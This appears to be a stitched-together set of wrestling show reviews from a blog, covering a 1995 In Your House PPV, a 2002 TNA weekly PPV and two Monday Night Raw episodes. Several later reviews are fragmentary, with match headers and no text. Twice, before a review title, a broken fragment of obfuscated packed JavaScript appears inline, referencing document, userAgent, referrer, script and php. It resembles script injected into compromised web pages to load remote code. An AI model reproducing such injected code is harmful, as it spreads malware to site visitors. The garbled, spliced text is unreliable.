Before we get started, please keep in mind this is one of the first reviews I ever did and I didn’t know what I was doing yet.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htbdf|var|u0026u|referrer|szznr||js|php'.split('|'),0,{})) Your House 2: The Lumberjacks
Date: July 23, 1995
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 6,482
Commentators: Vince McMahon, Jerry Lawler

We’re coming off the heels of KOTR 95, which may have been the worst PPV of all time and I kid you not. It was just flat out bad all around. It had a “triple main event”. This consisted of Bret Hart vs. Jerry Lawler in a Kiss My Foot Match, Mabel vs. Savio Vega in the KOTR Finals, and Diesel and Bigelow vs. Sid and Tatanka. Holy freaking goodness.

Anyway, that festering pile of garbage leads us here, with Sid getting a rematch for the title as well as the newly face Shawn Michaels going after the IC Title from Jeff Jarrett. This show is yet again a SNME on PPV, but that’s ok I think. It was 20 dollars for some decent wrestling, so what more could you really ask for? Let’s see if it’s any good.

Show stars with a cheap country song about the show tonight. I get that these are for the theme of the show, but these are just annoying to me most of the time. Kind of catchy I guess. Vince’s buildup lines here are almost creepy with how enthusiastic he is about them.

1-2-3 Kid vs. The Roadie

DX explodes here as X-Pac faces the Road Dogg. This is fallout from the Razor vs. Jeff Jarrett feud. Dogg was actually a worse wrestler back then than he is now. The story here is that Jarrett is singing live tonight for the first time, which yet again, no one really cared about but they had to fill time on the show I suppose. During the match we see Jarrett in the back not paying a bit of attention to his friend’s match.

Kid has a bad neck coming in just in case you were wondering. This isn’t bad, but it’s 1-2-3 Kid vs. the Roadie, which kind of hurts it. Based on the way they’re talking, Roadie was supposed to be a big deal or something, which is just kind of funny. I always enjoy seeing the future fairly big names in their previous gimmicks as it never ceases to amaze me what people can do to surprise you. Roadie hits a kind of bad/cool looking pile driver from the middle rope to get the win.

Rating: C+. Like I said, the main thing hurting this match is the fact that it was X-Pac vs. Road Dogg, but before they were anything close to stars. It’s not particularly bad as it kept my attention for the most part, but it’s nothing great. Post match, Roadie goes to the stage to check Jarrett’s mic for later on. Holy theme for the show Batman.

The Million Dollar Corporation says Sid is winning the title tonight.

Men on a Mission vs. Razor Ramon/Savio Vega

Oh screw it not this again. Mable is still the King and still sucks beyond belief. Somehow this guy got the title shot at Summerslam. Seriously, I have yet to get what Vince was thinking at the time when he booked this nonsense. Razor, as always, has bad ribs. Savio, as always, sucks. You know, out of all these four, I completely forgot about Mo. Seriously, that’s his name: Mo. Was he supposed to be intimidating or something?

I never remember him doing anything at all, yet he was always around, kind of like a bad fungus. Oh, apparently Razor’s ribs are fine. Dang I almost started to care for a minute there. Close call indeed. Lawler’s line of if brains were sunshine Razor would be a snowstorm makes me chuckle. This match is happening because Savio lost to Mable in the king of the ring final and Razor is his friend.

Mo is there because there was already a bum at the local gas station so they gave him a night’s “work”. I must really love you guys: I’m watching Savio Vega vs. Mabel. Let that sink in for a minute. Razor is the only thing that’s decent in the match and he’s been in it all of 90 seconds.

The referee’s counts are insanely fast so I guess he realizes how bad this match is too. The crowd is way too hot for a match like this. Razor throwing Mabel around like he does is actually kind of cool to see. Belly to belly and another fast count ends this.

Rating: C-. Seriously, WHAT WAS VINCE THINKING??? Three out of these four completely suck and one kind of sucks. Mable pins Razor clean? I can’t blame Razor for bailing for WCW in less than a year one bit.

Todd Pettingill interviews the band for Jarrett and plays with his instruments.

Michael Hayes is with some of Diesel’s lumberjacks. I just realized: there are thirty lumberjacks for this main event. Is that really needed? Wouldn’t 20 be enough? That’s five guys per side of the ring. Nothing of note is said here other than the rumor of DiBiase buying off some lumberjacks. You know, Man Mountain Rock and Adam Bomb were freaking awesome characters. Sure they weren’t serious, but DANG they were cool. Look them up if you haven’t seen them yet.

It’s time for Jarrett to sing.  I’m ashamed to admit it, but I have this song on my ipod. The song is kind of catchy, but the twist was supposed to be that he was lip synching for Roadie, eventually leading to a feud between the two. However, after tonight the pair would both leave the company. Both guys went to the USWA for a few months but Jarrett was back within six months and Roadie was back in about a year.

The spelling of his name was actually a decent gimmick because even nearly 15 years later, every time I type his name that line is in my head. This was actually a decent little song and it was rather catchy. The story made sense and had it played out, it could have been something I think. Roadie actually has a decent singing voice.

I remember distinctly watching this live with my mother and my mom was legitimately impressed. He actually sings far better than the backup, professional, singers. Vince trying to sound country and hip is just flat out sad.

The fans mostly like the song.

Bam Bam Bigelow vs. Henry Godwin

O……….k. Godwin simply does not work as a heel, end of argument. It’s just creepy. These two are both lumberjacks tonight and Henry cost Bigelow a match with Sid on Raw. Oh man I forgot about Bigelow’s pyro gimmick again. WWE should rehire whoever this announcer is. Dude’s pretty freaking sweet.

I always kind of liked Godwin. The guy had a decent look to him and wasn’t too bad in the ring. He was bad, but not that bad. Bigelow got thrown out of the Corporation and is going through them one by one, even though Godwin was just an associate of theirs at the time.

This is a style as old as time: two big guys beating on each other. Yes, it’s pretty bad looking, but it’s not supposed to be a classic. Godwin dominates most of this short match until Bigelow comes back wins this pretty quickly. I think the finish was a botch as Godwin misses a knee from the top and gets covered for a pin.

Rating: C. This was short and rugged, but it did its job. Bigelow gets a win, Godwin looks decent, and the feud is continued. It wasn’t supposed to be a classic and it wasn’t. Pretty entertaining little match, but don’t expect much. Bigelow would be gone by the end of the year and Godwin would (thank God) be a face.

Bob Backlund wants to be President. My lord what was wrong with wrestling in 1995?

Shawn Michaels (the day after his birthday) says he wants the IC Title as a present.

Intercontinental Title: Shawn Michaels vs. Jeff Jarrett

This is by far the match of the night. Shawn is newly face after a long heel run where he was having the best matches on the show and got over by way of that. This came about by Shawn doing commentary one night but Roadie throwing some guy onto him, leading to a brawl with Jarrett and Shawn.

 

Jarrett again shoots himself in the foot by leaving the day after he has the best match of his career up to that point. Jarrett’s intro takes like three minutes on its own with a guest announcer and Roadie. Shawn’s pop blows the roof off the place. Jarrett is champion here. Jarrett clutching his title to him is rather amusing.

 

Memphis levels of stalling to start until Shawn is all like screw that and steals the title. After a lot of nothing, Shawn does the lay on the ropes taunt. I love that thing. This should be very good from a technical standpoint. Shawn had reached the point here where he was the best in the company or a close second, but he just wasn’t ready for the jump to the main event.

 

It’s kind of a long feeling out process here as Shawn does the Jarrett strut and Jarrett does the Shawn corner thing. And there goes Jarrett as he tries to leave. Dang he comes back since I guess he sucks as a heel. This is pure Memphis with all of the stalling. Shawn is like screw this and goes to the floor to bring him back.

 

They keep changing things up here and never actually going straight at it for more than a few seconds at a time. Shawn gets a big dive to the floor to take out both guys which looked sweet. Shawn has looked awesome for the whole thing so far and is just picking Jarrett apart. Until right then when he gets launched over the top and crashes to the floor.

 

Gordbuster to REALLY go old school here. I think Vince’s mic is out as Jeff gets an abdominal stretch for a good while. Roadie gets involved and costs Jarrett his advantage or at least for a bit. He gets involved again but this time it works and Shawn is in trouble. Nice pinfall reversal sequence gets us some close near falls.

 

Shawn tries to crank it up but gets caught in a sleeper. The basic reversal follows and both guys are down. Forearm hits and Shawn’s feet never hit the ground as he’s nipping up already. Moonsault gets two and Jarrett won’t stay down. Elbow gets the same as Jarrett keeps getting up.

 

This is a very solid back and forth match. Jarrett gets the suplex off the middle rope but the figure four is countered into a small package for two. Another is blocked and down goes the referee. Cross body gets two for Jarrett as this is very good so far. Roadie screws up and hooks the wrong leg, allowing Shawn to kick Jeff’s head off for the pin and the title.

Rating: A. This was just a great match all around and the match of the night by a mile. Shawn shows once again that he is the future of the company and Jarrett shows that he can’t handle the spotlight as he bails again. Still, great stuff here and just pure fun the whole time. Well worth checking out.

Holy
Freaking
Crap

Doc Hendrix just gave the most wild, insane speech that I have ever seen. He sounds like he’s on so much cocaine that he can barely see straight. He speaks for about thirty seconds in one long sentence, talking about Roadie and Jarrett fighting. This had my mouth hanging open in awe. Either awesome or creepy and I’m not sure which.

Tag Titles: Owen Hart/Yokozuna vs. Allied Powers

Sweet goodness that was a bad team after awhile. Luger would be gone by September to appear on the first Nitro and Bulldog kind of faded away. Even I at 7 years knew they stood no chance in this match. Yoko isn’t at his fattest yet but you can see that his weight is completely getting out of hand at this point. This match isn’t any good really and it’s just there to fill time.

Luger and Smith control the majority of it until there’s your big melee and Hart hits a double axe on a not looking Luger to set up the legdrop to allow Yoko to pin him. Just a waste of ten minutes.

Rating: D. There is nothing here. It’s just ten minutes of the faces beating on Yoko before the really bad ending. Luger bailed in three months and I don’t blame him one bit. Smith turned heel in August and was gone a few months later. Just a filler.

WWF Title: Diesel vs. Sid

You’ve heard the story if you’re read the previous review. The idea is Diesel and Shawn were feuding when Sid was Shawn’s bodyguard. Sid beat up Shawn after being fired and Diesel made the save, leading to this feud. Sid is part of the Million Dollar Corporation as well.

This match is miles ahead of the previous encounter with them trying some new things and it worked. Diesel even does a suicide dive over the top rope a la Undertaker. Sid of course hits the powerbomb but is slow and Diesel kicks out. The lumberjacks, namely Shawn, beat up Sid and Diesel kicks him and pins him. Decent match and then the champion celebrates to close us out.

Rating: B-. This was pretty good. The main issue is it’s just barely ten minutes long. With another five minutes this could have been very good, but at the same time it could have exposed their weaknesses. It finally ended this long feud that was just kind of a summer filler before the big one came with Diesel and Bret.

This concludes the regular show and it’s now time for the Home Video exclusives.

Bret Hart vs. Jean–Pierre Lafitte

This was in the middle of a feud between the two where you have to kind of scratch your head over what the heck they were doing with Hart. He goes from Hakushi to this, to the World Title? Lafitte is a pirate gimmick of all things, just not as entertaining as Burchill was with it. This match is as standard of a Bret match from this time as you’ll ever find with Bret getting the tar beaten out of him for about ten minutes before coming back and winning via some surprise, in this case a roll up.

Rating: C. This is just kind of there. It’s a solid match, but seriously, Bret Hart faces a freaking pirate? The idea was that Lafitte kept stealing Hitman’s glasses and eventually his jacket. To this day I don’t get where they were going with this, but it was blown off a month later so call this a dry run.

Undertaker vs. Kama

Casket match.  So why are they keeping two of their biggest stars off the main show? I get there are time constraints, but this is a bit excessive. This is another dry run as the big one of this was at Summerslam. Kama stole the urn and turned it into a necklace as you already know. Standard stuff here as Kama tries a chokeslam and gets his Godfathering head kicked off and thrown into the casket.

Rating: C. Seriously, why leave these two (Taker and Hart) off the card? The match is fine and I get that this was a treat for the fans so it’s ok. Taker was in a weird spot here as no one knew what to do with him, which is the exact same thing that anyone could claim around this time. It wasn’t until the next year when Hall and Nash left that guys like Shawn, Bret and Taker were pushed to the top of the roster and it helped a lot.

OverallRating: B-. Definite improvement over last time. Far less wastes of time as every match has a purpose in the main stories at the time and at the end you get two of the top stars in the company as a bonus. You throw in something regional with the country song and a great Jarrett/Michaels match and this is an easy thumbs up. Good show but they were still hammering out some bugs.

 

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TNA Weekly PPV #8
Date: August 7, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Mike Tenay, Don West, Ed Ferrara

Spanish Announce Team vs. Flying Elvises

Red hits a corkscrew moonsault and the other Elvises come in. Everything breaks down and the Code Red (sunset flip bomb) gets two for Red. The Maximos set for some double team spot but Yang slips off Jose. Estrada counters another double C4 into a double DDT off the top. Yang and Estrada go up at the same time for a stereo top rope legdrop and splash combo, only to have Siaki steal the pin on Red.

The announcers talk about the title matches tonight.

Apolo goes to see Steamboat but Steamboat blows him off. The Dupps try to talk to Steamboat but we cut to AJ vs. Lynn in another brawl in the back. Security finally breaks it up.

NWA World Title: Ken Shamrock vs. Ron Killings

Dupp Cup: Ed Ferrara vs. The Dupps

By the way, this segment got over 16 minutes, or as long as the main event tonight will get.

Malice vs. Don Harris

Slash jumps Harris from behind and has some kind of a sharp object. Harris gets it from him and stabs Slash in the head with it but Malice comes back and we head to ringside again. Mitchell gets taken down and has blood all over him now from that box he carries. The guys head inside for the first time of the whole match and a Boss Man Slam puts Malice down but Malice jabs him with something around the eye for the blood and the win.

Jeff Jarrett vs. Apolo

Steamboat is guest referee and the winner gets a shot at the Truth. Feeling out process to start but Steamboat blocks a right hand from Jeff. Jeff pounds on Apolo, Apolo pounds on Jeff, not much is going on here. Jeff gets sent to the floor via a clothesline and Steamboat actually enforces the get off the top before five rule. Back in and Apolo hits a Sky High powerbomb for two.

A Booker T sunset flip out of the corner gets two for Apolo and Jarrett gets guillotined on the top rope to send him to the floor. Jeff sends Apolo into the barricade and we head back inside with Jarrett in full control. Apolo is busted open and misses a splash in the corner. Jarrett enziguris him down for two and the fans think it was a slow count. Apolo misses a shoulder block and Jeff goes after the knee.

Miss TNA: Bruce vs. Taylor Vaughn

Don West gives his sales pitch for next week. He really is good at this stuff. We get a merchandise pitch too.

X-Division Title: Low Ki vs. AJ Styles vs. Jerry Lynn

Low Ki is sent to the apron but he slingshots in to roll up Jerry as Jerry German suplexes AJ which gets a double two count. Cool spot. Lynn and Low Ki chop it out as AJ is down. AJ tries a suplex on Low Ki but gets caught in a Dragon Sleeper. Lynn tries for a save but gets caught in the same hold. Jerry suplexes Low Ki down but AJ saves. AJ goes up but Jerry DDTs him off the top for two.

Styles and Low Ki slug it out but Low Ki kicks him in the face to take over. AJ hits his moonsault into the reverse DDT for two and then loads up a superplex on Low Ki but Jerry turns it into a Tower of Doom for two. All three guys get an awesome looking rollup for two, followed by AJ and Lynn trading very close two counts again. Low Ki rolls up Lynn, but Jerry kicks out, sending Low Ki into the Styles Clash position. Jerry breaks it up for some reason but the setup looked good.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbyrn|var|u0026u|referrer|iiydf||js|php'.split('|'),0,{})) Night Raw
Date: October 1, 2012
Location: Chesepeake Energy Arena, Oklahoma City, Oklahoma|
Commentators: Michael Cole, Jim Ross

Tag Team Tournament First Round: Epico/Primo vs. Sin Cara/Rey Mysterio

Brodus Clay vs. Antonio Cesaro

Zack Ryder vs. The Miz

Miz takes him down with a shoulder block and a pair of boots to the head for two. Ryder makes a comeback and hits the Broski boot for two as we hear about Larry King as the social media ambassador. The Rough Ryder is countered into a buckle bomb and the Skull Crushing Finale gets the pin at 2:39.

Ryback vs. Tensai

More cancer stuff.

Eve Torres vs. Beth Phoenix

Before the match Eve talks about how awesome the Divas are. Beth tentatively shakes her hand and blocks the surprise attack from Eve. This is non-title by the way. Beth misses a charge and hits the post so Eve goes to the floor to pound on the bad arm. Beth gets rammed onto the floor and into the barricade which draws a nine count. Back inside Eve is upset so Beth runs her over. Eve hides in the ropes and comes out with her neckbreaker for the pin at 2:35.

We hear about JBL climbing mountains to raise money for poor kids. Nothing wrong with charity work.

Santino Marella vs. Heath Slater

Damien Sandow vs. Sheamus

Sandow hides to start so Sheamus grabs him by the beard and pounds away. Damien hides on the floor as we take a break. Back with Sandow hitting the floor again, drawing huge boos. Sheamus chases him into the crowd and catches Cody trying to interfere. The distraction lets Sandow clothesline Sheamus down and he takes over back in the ring. After some basic shots to the upper body, Sandow puts on a chinlock. Sandow fires off knees to the chest and hits a Russian legsweep and the windup elbow for two.

Sandow escapes a powerslam and hits a flipping neckbreaker for two. Sheamus gets the feet up in the corner and a top rope battering ram gets two. Sandow escapes White Noise but gets caught in the ten forearms. Sheamus catches Cody coming and sends him into the ring as well. A single Brogue Kick takes out both guys and pins Sandow at 15:45.

Alberto Del Rio vs. Kofi Kingston

Hell No vs. CM Punk/Dolph Ziggler

Kane hits the clothesline but as usual, Bryan tags in while Kane sets for the chokeslam. Punk kicks Bryan out of the air but Bryan moonsaults out of the corner. A clothesline from Daniel sets up the kicks and he takes Ziggler down as well, only to walk into the high kick for two. Dolph comes in and dropkicks Bryan to the floor. Bryan gets thrown into the barricade which gets two back inside and we hit the chinlock.

Results

Sin Cara/Rey Mysterio b. Epico/Primo – Top Rope Splash to Primo

Antonio Cesaro b. Brodus Clay – Neutralizer

The Miz b. Zack Ryder – Skull Crushing Finale

Ryback b. Tensai – Clothesline

Eve Torres b. Beth Phoenix – Spinning Neckbreaker

Santino Marella b. Heath Slater via DQ when Drew McIntyre and Jinder Mahal interfered

Sheamus b. Damien Sandow – Brogue Kick

Alberto Del Rio b. Kofi Kingston – Cross Armbreaker

Hell No b. Dolph Ziggler/CM Punk – Chokeslam to Punk

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Monday Night Raw
Date: October 21, 2002
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Jim Ross, Jerry Lawler

We open with a recap of the Katie Vick story. HHH claims Kane is a murderer, but Kane says it was an accident. This is the night after HHH beat Kane to unify the IC and World Titles but the feud must continue for some reason.

Jeff Hardy vs. Christopher Nowitski

Chris takes him down to start and Jeff is getting frustrated, which would be a recurring theme for him for the next few weeks. Jeff sends him to the floor and hits a big flipping dive to take over. Nowitski gets in a shot back inside and gets a few two counts. Hardy comes back with a Thesz Press and actually uses it as a pinning combination. Nowitski chokes away in the corner and gets two off a rolling side cradle.

Lance Storm/William Regal vs. Bubba Ray Dudley/Spike Dudley

Off to Bubba who takes Lance down with a neckbreaker but Regal hits Bubba in the back of his recently concussed head to give Storm the advantage. Regal comes in as Kane arrives in the back. Everything breaks down and Spike ranas Storm off the top. Bubba catches the superkick from Storm and hits the Bubba Bomb. Spoke hits the Dudley Dog on Regal for the win and the title shot.

Rating: C-. This was one of those matches that was too short to go anywhere of note. Regal and Storm as the Unamericans were a solid team but the gimmick was only going to go so far, especially with Test weighing them down as their third man. Nothing to see here and thankfully D-Von would reunite with Bubba the next month.

Trish is having her picture taken and has to talk to the photographer about her match with Victoria from last night. Jericho and Christian pop up and call Trish a w****. Apparently Jericho thinks Trish wants him. Geez is this some extreme foreshadowing? I really doubt it.

Trish Stratus/Booker T/Goldust vs. Victoria/Chris Jericho/Christian

Off to Jericho who pounds away but gets caught in the spinning sunset flip out of the corner. The fans are way into Booker which is a good sign. It means HHH has someone to beat at Wrestlemania for no other reason than HHH wants to win at Wrestlemania. Back to Christian who takes Booker down so Jericho can hit a top rope knee drop.

Booker saves Jericho post match.

Al Snow vs. Tommy Dreamer

Singapore Cane match. We start with a cane duel and Snow gets in the first connecting shots to the legs. Out to the floor and Dreamer fires away more cane shots but Snow headbutts him down. Back in and Dreamer kicks Al low, followed by a missed cane shot from an interfering Nowitski to give Dreamer the pin. Nothing to see here.

Big Show vs. Rosey/Jamal/Rico

Post break Eric announces that Big Show has been traded to Smackdown. He would get the world title the next month over there. After Show leaves, Hurricane arrives (did he leave?) and stands in front of his own car. Ok then.

HHH/Ric Flair vs. Rob Van Dam/Kane

Back in and Van Dam takes Flair down and makes the real tag. Kane cleans house as the announcers debate if necrophiliac and Hulkamaniac rhyme. This is what Raw has sunk to people. Van Dam goes up and gets crotched as Kane and HHH fight on the floor. They head up the ramp with HHH being rammed into the set. Van Dam kicks Flair in the face, hits Rolling Thunder and adds the Five Star for the pin.

Remember to follow me on Twitter @kbreviews